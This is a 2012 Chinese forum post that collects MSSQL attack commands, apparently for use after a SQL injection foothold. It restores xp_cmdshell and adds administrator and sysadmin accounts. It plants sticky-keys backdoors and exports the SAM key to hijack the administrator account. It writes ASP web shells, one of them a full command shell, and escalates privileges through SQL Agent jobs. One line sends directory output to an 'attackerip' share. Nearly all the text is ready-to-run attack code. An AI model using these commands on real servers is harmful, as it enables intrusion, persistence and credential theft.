找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2508|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
9 W8 t0 Q) W! e" b6 X( ^# y恢复方法:查询分离器连接后,
5 {; X% T1 L0 f3 J5 V( p第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int , N# P: M  d! Z- f4 Y8 w# k
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
, f$ [4 s  e) c7 s: M+ Z% j) ]然后按F5键命令执行完毕
$ G& @8 o' G1 u! E/ G& [. e) [& r0 Z' r
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
3 H" g" ~' Q5 f恢复方法:查询分离器连接后,% C7 o$ Y0 H. X
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"/ }- V/ m7 S, H
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
, g8 d2 ?6 k  u! y$ x" b& g* C然后按F5键命令执行完毕
/ }& R3 Z# a. M* l' n" Z4 Y5 E. u  i) g
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)6 ~' {3 \; a, L3 ~3 V4 p
恢复方法:查询分离器连接后,2 R4 A7 v8 B/ H* v* L
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'. p1 o! Y/ E! d7 C0 E& Y1 y8 e% s% c
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
) |5 o; q# J6 F9 ?7 a& G9 ^然后按F5键命令执行完毕
8 w& K3 Z+ M8 v% m7 E0 x1 {* \8 E% x& V; ^# R$ c" g
4 终极方法.
' v; V3 k! m# d" v如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
! |$ N$ m3 T& K  R8 v查询分离器连接后,
7 z8 I" c! G* }* S: ]- ?2000servser系统:- Z" [7 ]  o) r! @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'6 }5 Y& N, n+ G( {

* I+ C2 p. w! R1 _" C% xdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4 y; q& p3 b! o# ^% q% i; n
1 f; o" A" R( wxp或2003server系统:  e+ x0 q" D& E5 k

3 z0 \4 ]( P/ y: I! m: I6 {declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'  \  k& s3 s% q: O; `
3 P) g% S3 W$ Y6 B. w9 g: E; R
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add') i! f' }* v' \# Z1 `9 n

0 k+ |* C3 A: D+ v! a, p: W1 g7 Z1 z+ S6 Q$ j  u
五个SHIFT
' ~7 U( R" }  X6 z7 J: Fdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';: x6 W9 a% K. J) Y; t) Z
; R+ \3 W' a2 N9 I
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';   v8 G8 p! E& Z( O
( a6 {& n1 V. }# ?# m  L- `/ @
xp_cmdshell执行命令另一种方法
& d# J, V1 c6 U7 d  Odeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' & i- A/ p' p$ Q- J5 f2 z
6 G6 b! h9 _* l- O, z
判断存储扩展是否存在
1 a3 p( Y; g5 M& e/ }2 r8 [Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
: Z" G' e) c: f% ^# t返回结果为1就OK" d9 ~7 X) [% k7 D
7 p" p9 `: Z, o. z3 }
* f' w) @+ A$ S! G! K
上传xplog70.dll恢复xp_cmdshell语句:
+ d: K2 F6 f1 [sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
: Y, y7 j" L$ k& S1 c! l8 B7 ]  [4 e( O" ^- P7 r. a- a
否则上传xplog7.0.dll# d& X$ k5 q3 D
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll') h; r+ q& W+ W4 L& |: z( a

2 s- z8 u; Y" @9 E, j/ M  W
4 E2 {* y' m3 W, @+ o) v: |" x/ z" u' i% K$ N
首先开启沙盘模式:
& J3 I* c% g0 A# t7 D/ iexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
- ^( L& u2 s! c9 V; d4 Z6 b; X% a. ^) i
然后利用jet.oledb执行系统命令5 F+ n6 p' D+ y- T3 N
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')8 H/ a' k( }) a) _. [
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
' ?! ~5 P- d% p9 [# o/ t0 a# N1 f4 W( i0 S
/ q2 T* z& W9 x- X9 Z2 k+ Q

; M0 D& ~7 N0 f2 Y5 l1 Q3 d恢复过程sp_addextendedproc 如下:
% L% D/ T3 g: A3 ?) Zcreate procedure sp_addextendedproc --- 1996/08/30 20:13 * f0 s1 x/ ~+ c; {; y9 _
@functname nvarchar(517),/* (owner.)name of function to call */
* I7 l9 {/ B. p% F+ H6 [1 y/ k@dllname varchar(255)/* name of DLL containing function */ # p& F. d  [  @
as . e8 f) V- y, ?
set implicit_transactions off 1 o# ]* @  K0 {1 f( s0 ^( n
if @@trancount > 0
- F0 c2 H4 b: L6 G+ dbegin
8 w6 h$ k% @8 Z  eraiserror(15002,-1,-1,'sp_addextendedproc') , {' b. _9 c# e
return (1)
8 F1 Q! u" W  j9 i% Cend   {  e& f& ^, n% V
dbcc addextendedproc( @functname, @dllname)
5 X# Q7 k- B/ A2 I( i( kreturn (0) -- sp_addextendedproc
, s; P8 J4 Z+ k0 Q- P, mGO 7 E6 T; K; B. {

% B8 q% o7 k3 ~& S) k: {' N% c+ h4 ~' z
( O1 I" e; ~' _. z3 |
导出管理员密码文件! \/ l7 Q- i, Y4 N9 r  e" J( m
sa默认可以读sam键.应该。! @2 L% u+ q6 [7 z2 L
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg4 r  V/ N( V, R6 r( ?# A+ A8 O
net user administrator test7 T* J' K$ C+ i% G  Q
用administrator登陆.
# M# |+ {; `8 E, v用完机器后
0 C( K1 v( ~$ k, p1 e, {+ K  breg import c:\test.reg6 T  u" P$ I% S3 U* u
根本不用克隆.
& c: R9 N) B  d. R9 L找到对应的sid.
! A3 X( @( P4 n; G7 t6 f
! ?# Z3 ~$ P( v1 r
: X" W4 a9 K- w8 m0 {9 ~& ]) f- N* S( G& |) a; {8 m
恢复所有存储过程
" _2 I5 y" p% l" P8 @use master ; [- s: Y! x/ V  U( L5 t0 `2 L
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
5 n7 U: S; {: I8 q2 D- @/ P- ]/ Mexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 9 v3 s8 y& [9 f6 e3 _( E2 H: y
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
: E6 D: l! x3 O* [- aexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
' M# Y9 n2 h: O0 U6 X8 B+ Sexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ; G5 `0 K& Z+ ]
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
1 w$ x$ |* ]; a& z1 x6 a0 b" ]exec sp_addextendedproc sp_OADestroy,'odsole70.dll' ! B% u" x, q' S, V. W
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'   J  D7 n% Q4 Q9 W  ?5 D
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' - u& @  X1 j1 T. b1 X
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
2 S% x/ S9 H( B& p; R. `/ V; Kexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
; C+ @6 r+ r) P. c! mexec sp_addextendedproc sp_OAStop,'odsole70.dll' " ]! f& D9 @- H2 |
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
, x) w! c5 h7 k7 H5 Y7 D$ yexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
# x+ \/ R6 U+ L3 l- Rexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
$ F2 E" j9 [' N$ B. G; b4 U7 zexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
+ T( X8 L  F$ m9 A, T5 c0 qexec sp_addextendedproc xp_regread,'xpstar.dll'
3 e2 y: A0 c. Z( [* jexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 9 F$ g% ]( y/ C! H/ c$ [4 n
exec sp_addextendedproc xp_regwrite,'xpstar.dll' % d- ^( o% |0 K+ v' W# k
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'5 b0 J/ R& D  o) I1 R

# E) Y; v4 z  n; U* D4 s- a, p0 w
4 D: z& K0 _# |6 k6 F建立读文件的存储过程# m- t9 K' ?' [( _; K# T
Create proc sp_readTextFile @filename sysname
1 K  q! O! j* D( J4 O: Bas
4 K- n( E: a1 m4 @5 }5 J
) q4 L- T; f" y& d; J    begin
  ?# J3 ?" L7 M  b: `    set nocount on
% r4 l* z* d7 P/ D8 y: _1 i    Create table #tempfile (line varchar(8000))
3 g+ k2 ]  T1 i( ]5 K    exec ('bulk insert #tempfile from "' + @filename + '"')4 s. [2 k5 ^! i* W# ^
    select * from #tempfile5 `0 T( J# B) C  R9 K- }/ u
    drop table #tempfile  e2 m* _( s+ P  e! g7 {
End
- {' H5 J, P! Z8 z4 I8 ~) c8 X% L% |1 i. I
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件' Y" n5 k( f0 n9 x* H4 l4 p8 G
查看登录用户
0 N$ Y9 y+ s, z% f( G* d5 Q6 sSelect * from sysxlogins$ ?% ~6 {) s4 h3 i( r$ O$ f! c0 W; T

6 ^% t( X- q$ Q把文件内容读取到表中+ d+ @- |" M$ Y9 z8 N
BULK INSERT tmp from "c:\test.txt"5 W# `# L; ?4 T& T
dElete from 表名 清理表里的内容( V7 w+ s. g3 g: `) J( `6 _: Z
create table b_test(fn nvarchar(4000));建一个表,字段为fn9 r5 {- b* s( i5 w7 s7 r+ @, v9 d

# }9 V- |- Z) u  q+ V8 L; W$ s9 v' f, @7 i* V5 o
加sa用户
8 K! f' B9 W$ b% Dexec master.dbo.sp_addlogin user,pass;
" E0 t# S: r3 C1 Xexec master.dbo.sp_addsrvrolemember user,sysadmin  y1 k- Z2 D( V3 S: w

7 ]4 S0 B. D3 N0 \7 S
4 Q$ s  w- ?( n) K' q% E( G' |% u1 |- M. q. U4 O, A$ n
读文件代码/ F0 X' F5 r* C: V- m) R
declare @o int, @f int, @t int, @ret int4 ^1 Q4 A6 k4 K3 b; D/ N
declare @line varchar(8000)
* O& l' E5 O) e2 {/ |; Aexec sp_oacreate 'scripting.filesystemobject', @o out; Y0 N" A: K6 G! Y" p
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1* T% @# r, \( l& w& `
exec @ret = sp_oamethod @f, 'readline', @line out5 t$ y5 Q) N; E5 I* C
while( @ret = 0 )
  f+ f; Q' P( V- u# ibegin
( U" T8 m! l+ H; wprint @line
8 R* l& Y( V  P! O9 r8 xexec @ret = sp_oamethod @f, 'readline', @line out
' {( g9 F5 {4 M/ Bend6 o  B! e5 O; I) D- q

5 w& H7 x) q6 ^7 g6 b7 S
' k0 P; E# H) T+ q# f) p- h9 D写文件代码:0 v" E; F+ t" D. O) r
declare @o int, @f int, @t int, @ret int
- T/ {4 P' F# \! pexec sp_oacreate 'scripting.filesystemobject', @o out
; i, ]- H, R8 `$ s# d- eexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1  O% i! X; i3 R
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》% G$ ?) q$ Y/ V# F6 z0 d. \
# s* b' L& t7 ], [8 w* U; M5 T

9 M- a- n* E& p  _添加lake2 shell0 q! ?& l0 p. L/ w2 l  q% {# h: m
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'9 w7 h6 w3 \) A7 u  r2 n* T3 \+ K
sp_dropextendedproc xp_lake2
! P( H! b) }0 Z3 R2 ~EXEC xp_lake2 'net user'
8 V1 M# e- U% P7 k# k
9 N! V7 A$ g5 D8 D! ~) l% G  b8 {  A+ c# {- M
得到硬盘文件信息
  ^+ J( i( ]. ]1 H  U--参数说明:目录名,目录深度,是否显示文件 % s/ L) n1 l8 {; o, `. c9 }" G9 I
execute master..xp_dirtree 'c:'
3 J2 G9 I0 ~* t9 v6 G, `  _execute master..xp_dirtree 'c:',1
1 @5 ~8 r5 j( U& v5 A& Gexecute master..xp_dirtree 'c:',1,1 8 t- A2 u' D* c! \0 Z1 o
0 t7 O; \8 I5 S
) A3 B6 N' N+ N! ~
读serv-u配置信息
3 L4 Y  s/ g" k7 [; Bexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
  x0 A" `- n( O# Y6 |# Y/ S# i% rexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
! }1 s% ?5 C3 M" ^4 B8 H* L: m* g1 i% T
通过xp_regwrite写SHIFT后门0 f1 O. u6 ]% g+ R7 d4 C
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--& o: U3 i; r4 D* n+ Y5 h5 x$ f

3 k+ J; H9 v  m9 m( j5 K+ [- S& b# G! V- [# B# b! O% A
9 a$ t/ T/ D  F! L/ o5 ^; |
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
4 |, }& }+ J9 Y$ Y. b+ lexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
" |+ G/ }# @: F7 _9 N+ I. `" P' m; ^! z
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'/ C2 L" ~; [9 M* Q( @
4 h- V* v8 }  }9 W

% E* i- J# N  c4 I4 x- u5 `2 d2 w% \# }! o1 U3 h# ]
sql server 2005下开启xp_cmdshell的办法
! l7 Q4 \( J# D$ x' S8 q+ _- q
5 t3 j) Z7 [; P2 L7 G  x3 ]EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  H( }; P5 T& J, y1 `! k
$ t& I4 N$ h6 G  ^- F7 hSQL2005开启'OPENROWSET'支持的方法:
4 ^  [( {; s2 b/ q3 j$ \: m2 m1 y; l, N$ q+ e+ k: e
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
  ], S7 X/ I3 h- M7 r: K2 F9 y  h  }- w4 F
SQL2005开启'sp_oacreate'支持的方法:
* G5 H+ V- T" l/ p6 _0 P
! q3 C& F4 {6 k& w, xexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
2 b/ [# `4 s2 W+ i4 [4 i  a. p& X& K- [, n

, q, e) Y* c/ l2 q1 C6 y$ F6 v3 `1 ^/ R3 _4 B4 r3 [' u
7 y: K: F2 E# z: G

. |, N8 ?6 h4 u2 d
  P* G' s( H7 x+ S
9 ^- m+ Y0 V3 q/ C* c/ t/ O3 H% X
9 r& M  Q1 S$ ?+ g

  ~, ~2 q% L" a7 I, I1 K0 ~, L2 H) O* Y8 \! d- K9 m% k( o9 A/ }
$ g, X& _- Y; O. d

. _* c) W3 G$ W4 E! b3 ~4 u6 T1 m) B1 G
) L; }& d9 W* x' s6 H

! R; O3 J4 ~! N; B/ F. O0 N
& q; C1 S) m' n/ E
$ T: Q' G6 k2 }8 c0 `7 Q7 j. r$ R4 ]) ~; S- P* A, l. x

) w. d* f: m$ H0 K6 g/ S
! ?" d2 @1 q' {0 g) B5 l2 ^% ~$ a! P
' s& |5 P# ^  k2 c* E
( z6 Q8 z: G9 [! i% H
以下方面不知道能不能成功暂且留下研究哈:, y4 [! `5 h, p! Z
4)& T$ B8 Y; I* m) s( E* N; ^. ?# z& A
use msdb; --这儿不要是master哟
4 H, D$ i+ `+ H( h* @exec sp_add_job @job_name= czy82 ;* W7 o+ B5 m& Z
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
6 A4 N" [% t: lexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;; b3 G" c) {) Q. w
exec sp_start_job @job_name= czy82 ;* }" g+ h, o/ a- M

- |5 Q2 c& w. B4 }9 n( W- U! |- M利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以* z7 g% q9 r& k; a% }
执行tsql语句了.- {4 `" \+ _4 z' f* h
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
8 [% ~) O3 h9 n! P8 p# M* ~第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
( j, D+ y1 b8 C+ O/ [. N. H+ Cnet start SQLSERVERAGENT
& w2 F; Q& {: x2 H$ n" @& F& T1 c$ u' b, S( J) J! T' x
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的( E. B5 _1 H$ J3 r+ f( E
USE msdb) S6 k8 |6 G; W) t; I
EXEC sp_add_job @job_name = GetSystemOnSQL ,
0 `$ A. D  J$ D3 G; G@enabled = 1,( k( i( g* X& t1 b
@description = This will give a low privileged user access to
$ ^& d4 {2 o3 u3 E7 u% Nxp_cmdshell ,* k: b4 M8 C1 p
@delete_level = 1
& E  }- U0 ?. [5 ?9 I) HEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,1 D- w- A( w# C8 D# u! G
@step_name = Exec my sql ,
" w% _7 U5 p" W@subsystem = TSQL ,5 X. q* r6 V& P6 V5 b. o
@command = exec master..xp_execresultset N select exec
  |( e, ?( x9 V- Z+ X8 jmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
1 X: Y/ p4 L! K5 n* P" e! PEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,2 e$ @( J0 x6 b( i9 g1 y
@server_name = 你的SQL的服务器名   N( O$ Q6 e% Z3 O
EXEC sp_start_job @job_name = GetSystemOnSQL
: r5 L/ K8 F, Z. q
  k# f& I0 q$ o不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
) K+ J1 y, g. G& ]: M2 D: F才让我们可以以public执行xp_cmdshell2 c: z1 s  R' m) k; f

! l# A( e! X- Z+ [1 u/ [5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)0 s& `6 F3 I7 }5 H
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
+ H0 N1 O" i: v1 d; h5 \; Q0 i6 Z! `; V+ Z
USE msdb! Q$ |% Q" W  |) f
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
1 z$ r( o/ x0 ]@enabled = 1,' ?# \8 U' v+ P: q5 x7 U) `
@description = This will create a file called c:\sqlafc123.txt ,3 S$ u% A7 U& V& N
@delete_level = 1
% ?. l- o! M( F: x$ _8 `8 GEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,* s3 N* W4 i8 z* ^
@step_name = SQLAFC ,' h2 q  C9 L& I
@subsystem = TSQL ,
( d* S' k0 E# m  X@command = select hello, this file was created by the SQL Agent. ,
& G7 Z* Q9 X7 ?" e@output_file_name = c:\sqlafc123.txt
( Y/ R- ?1 u2 y9 g* nEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,' Y7 S/ t9 y  ~5 j5 |3 M& F
@server_name = SERVER_NAME
* v, h; y& C& I$ {5 b! O4 iEXEC sp_start_job @job_name = ArbitraryFilecreate : w2 _- [) H4 y, A- {) G* J. B
8 `% c! E* U: w, k, l) O! ^
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
5 U& \" b) d/ t- ?4 l% ?0 e. O1 C* N  ?  [
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
. `' n3 X. g- ^----------------------------------------------
/ H; _0 C$ w, ^# Zhello, this file was created by the SQL Agent.
3 i- t: T7 T; U+ N* W8 v1 D. G. [% H' w% A+ {5 I9 [, e$ O8 y
(1 ?????), C" ?" F, f5 h, m& K2 v9 h

/ r9 a& G8 I/ \" ~所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员( }' c( W  a6 k4 x
命令的vbs文件到启动目录!
& u8 o" y3 `0 k/ {3 S* i: w5 ~3 q
, n: O7 D  u; ?% s- ]6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
7 a0 k% ]3 B+ s- @/ V关于sp_MScopyscriptfile 看下面的例子3 |- A* V7 ?  K$ r! V* Y4 k4 m
declare @command varchar(100)
9 ^$ N- C$ m' h2 w: Ldeclare @scripfile varchar(200) 5 `4 T% ]' R% ?1 D, K" ?
set concat_null_yields_null off ( x  o) J/ V# t
select @command= dir c:\ > "\\attackerip\share\dir.txt"
1 @0 ~7 t1 w0 l1 ?select @scripfile= c:\autoexec.bat > nul" | @command | rd "
, j+ L- s7 `0 H1 ?7 v; `. k4 fexec sp_MScopyscriptfile @scripfile ,
" g- t* {0 j  j  c  v
' W9 Q6 J) n" M# O4 d! i; H这两个东东都还在测试试哟
( R6 }7 E3 j& Y7 G! N1 b! f! i让MSSQL的public用户得到一个本机的web shell
5 [1 K: z$ D  u2 o$ c" D0 _% I) D/ i
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
. r, [0 V. d/ x8 X--@query= select <img src=vbscript:msgbox(now())> / L& H, k. P' x0 d
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> $ X& N7 v) g1 O7 U7 Z- ~" A
@query= select
$ ~1 {% ^. C' ?* _: F8 T: q<%On Error Resume Next + W. A) t0 Q( U/ w6 y/ s4 S; n* O$ I. b
Set oscript = Server.createObject("wscript.SHELL") 8 V6 c3 {) y" g5 g& ~3 k7 t
Set oscriptNet = Server.createObject("wscript.NETWORK") 4 Q! Y  S, X. H# C
Set oFileSys = Server.createObject("scripting.FileSystemObject") $ }; G- O% w8 i! B
szCMD = Request.Form(".CMD")
; g# c& l0 r# CIf (szCMD <>"")Then ; `( M& k2 `2 W7 O2 H( k
szTempFile = "C:\" & oFileSys.GetTempName() 2 {1 ~* `  A# [+ }
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
1 G5 K' B$ U$ o9 QSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
8 G0 Y' h% i* b! p% s6 aEnd If %>
3 s* V' {5 o) @2 U<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 7 m( [* S8 Y) R  d+ ]4 u
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 6 u1 s' R4 z+ m; B& V: d
</FORM><RE> , ]! p2 \  k+ V6 J0 Q7 @( ~
<% If (IsObject(oFile))Then
& ^! Q; s$ x/ P& `! OOn Error Resume Next 4 k, w) A9 s' ~/ V- a/ r7 B7 q
Response.Write Server.HTMLEncode(oFile.ReadAll) 6 M# m. m  W* u5 D" z$ A
oFile.Close * w: u# g& W, z$ r+ C. I- n8 L
Call oFileSys.deleteFile(szTempFile, True)
' E' d  O% J& }# I! K+ @End If%> ) Q; v; L: @+ T8 x
</BODY></HTML> 7 |( e- Q' w' Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表